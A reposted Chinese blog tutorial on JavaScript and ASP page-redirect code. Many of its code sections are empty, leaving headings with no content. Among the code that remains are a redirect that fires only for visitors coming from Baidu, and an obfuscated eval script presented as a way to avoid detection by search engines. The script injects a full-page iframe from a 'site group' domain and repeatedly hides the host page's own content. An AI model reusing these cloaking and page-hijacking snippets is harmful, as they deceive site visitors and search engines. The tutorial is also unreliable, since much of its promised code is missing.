前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >JS跳转代码_js中跳转页面路径

JS跳转代码_js中跳转页面路径

作者头像
全栈程序员站长
发布2022-09-21 10:47:15
16.9K0
发布2022-09-21 10:47:15
举报

大家好,又见面了,我是你们的朋友全栈君。

一、常规的JS页面跳转代码

1、在原来的窗体中直接跳转用

2、在新窗体中打开页面用:

3、JS页面跳转参数的注解

参数解释:

第2种:

第3种:

第4种:

第5种:

三、页面停留指定时间再跳转(如3秒)

四、根据访客来源跳转的JS代码

1、JS判断来路代码

此段代码主要用于百度谷歌点击进入跳转,直接打开网站不跳转:

2、JS直接跳转代码

3、ASP跳转代码判断来路

<%   if instr(Request.ServerVariables(“http_referer”),“www.baidu.com”)>0 then   response.redirect(“http://www.at8k.com/”)   end if   %>

4、ASP直接跳转的

<%   response.redirect(“http://www.at8k.com/”)   %>

五、广告与网站页面一起的JS代码

1、上面是广告下面是站群的代码

document.writeln(“”);

2、全部覆盖的代码

document.write(“”);

3、混淆防止搜索引擎被查的js调用

具体的展示上面是广告下面是站群的代码:

var ss = ‘

<ifr’+‘ame scrolling=“no” marginheight=0 marginwidth=0 frameborder=“0” width=“100%” width=”14’+‘00″ height=”63’+‘50″ src=”ht’+‘tp://’+‘ww’+‘w.hx’+‘zhan’+‘qun.c’+‘om/”>

’;

  eval(“do”+“cu”+“ment.wr”+“ite(’”+ss+”’);”);

  try{

   setInterval(function(){

   try{

   document.getElementById(“div”+“All”).style.display=“no”+“ne”;

   }catch(e){}

   for(var i=0;i<document.body.children.length;i++){

try{

var tagname = document.body.children[i].tagName;

var myid = document.body.children[i].id;

if(myid!=“iconDiv1” && myid!=“showcloneshengxiaon”){

// if(tagname!=“center”){

document.body.children[i].style.display=“non”+“e”;

//}

}

}catch(e){}

   }

   },100);

  }catch(e){}

六、页面跳出框架

七、返回上一页

发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/170143.html原文链接:https://javaforall.cn

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档